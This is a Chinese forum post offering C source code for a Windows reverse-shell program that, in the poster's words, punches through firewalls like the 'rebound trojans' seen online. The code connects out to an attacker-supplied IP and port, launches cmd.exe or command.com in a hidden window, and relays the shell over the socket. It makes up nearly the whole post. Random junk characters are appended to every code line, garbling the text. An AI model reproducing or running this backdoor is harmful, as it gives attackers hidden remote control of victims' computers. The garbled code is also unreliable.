社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6393阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D|_}~T>;&  
+O9l@X$l=  
/* ============================== /C3=-Hp  
Rebound port in Windows NT F~<$E*&h@  
By wind,2006/7 h`Y t4-Y  
===============================*/ =:9n+7~$  
#include `(Ei-$ >U&  
#include scN}eg:5  
7r*>?]y+  
#pragma comment(lib,"wsock32.lib") ib uA~\5  
x{RTI#a.  
void OutputShell(); ITq+Hk R  
SOCKET sClient; q;Qpd]H  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y\)bxmC  
(7-K4j`   
void main(int argc,char **argv) b]CJf8'u  
{ (?q]E$ @  
WSADATA stWsaData; 9Q].cDe[  
int nRet; *1%=?:$(r6  
SOCKADDR_IN stSaiClient,stSaiServer; bNIT 1'v  
b\H(Lq17  
if(argc != 3) V}@c5)(j  
{ E39:}_IV  
printf("Useage:\n\rRebound DestIP DestPort\n"); rPr#V1}1a  
return; 2yeq2v   
} {TUCa  
y$\K@B4  
WSAStartup(MAKEWORD(2,2),&stWsaData); qY#*zx  
c|ZZ+2IYd  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _VR4 |)1g  
x{Gih 1  
stSaiClient.sin_family = AF_INET; zM[WbB+"m  
stSaiClient.sin_port = htons(0); [o|]>(tk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^k u~m5v  
*GD 1[:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Zad+)~@!tq  
{ -cIc&5CS  
printf("Bind Socket Failed!\n"); yf_<o   
return; =fG(K!AQ  
} QZQ@C#PR;  
;|9VPv/  
stSaiServer.sin_family = AF_INET; o)1wF X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lywcT! <  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); => -b?F0(c  
"fz-h  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TX;OA"3=\-  
{ %'^m6^g;  
printf("Connect Error!"); .8.ivfmJh  
return; ) @))3  
} ?86h:9  
OutputShell(); Bg7?1m  
} <J`_Qc8C  
{"4t`dM  
void OutputShell() gxt2Mq;q~}  
{ SHz& o[u  
char szBuff[1024]; eb.`Q+Gb  
SECURITY_ATTRIBUTES stSecurityAttributes; { SK8Mdn  
OSVERSIONINFO stOsversionInfo; *7!}[ v_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u%ih7v!r\  
STARTUPINFO stStartupInfo; Mzxz-cE  
char *szShell; MZ0uc2L=  
PROCESS_INFORMATION stProcessInformation; 0r+-}5aSl5  
unsigned long lBytesRead; d7KeJ$xy}p  
=X+DC&]%!  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?9=yo5M}  
?6uh^Qal  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oqE h_[.  
stSecurityAttributes.lpSecurityDescriptor = 0; 2LD4f[a;  
stSecurityAttributes.bInheritHandle = TRUE; F(SeD)ml  
 FcfN]!  
/D)@y548~~  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /<|J\G21  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mc9$"  
<-FZ-asem  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kC LeHH|K  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j|+B|   
stStartupInfo.wShowWindow = SW_HIDE; r("7 X2f  
stStartupInfo.hStdInput = hReadPipe; Wy4v~]xd%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~zYp(#0op  
'HOcK8}b  
GetVersionEx(&stOsversionInfo); Lg9ktRKK  
xx/DD%IZ  
switch(stOsversionInfo.dwPlatformId) q+ )KY  
{ Qy4AuMU2  
case 1: @X4;fd  
szShell = "command.com"; \6C"bQ  
break; [vV-0Lx"  
default: Ep0Aogp29  
szShell = "cmd.exe"; N}Q,  
break; C-4I e  
} sU+~#K$ b  
s,` n=#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +{Q\B}3cj1  
i<%(Z[9Lk  
send(sClient,szMsg,77,0); .dM 0  
while(1) /a9+R)Al  
{ zRf]SZ(t O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YK"({Z>U  
if(lBytesRead) ZO0_:T#Z  
{ _KD(V2W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ijoR(R^r  
send(sClient,szBuff,lBytesRead,0); +8 6\&y)  
} .:<c[EJ b  
else dcXtT3,kpX  
{ i37W^9 R  
lBytesRead=recv(sClient,szBuff,1024,0); !pDS*{)E  
if(lBytesRead<=0) break; D0"+E*   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CsuSg*#X+  
} H<1C5-  
} :()4eK/\  
wBeOMA  
return; &dOV0y_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五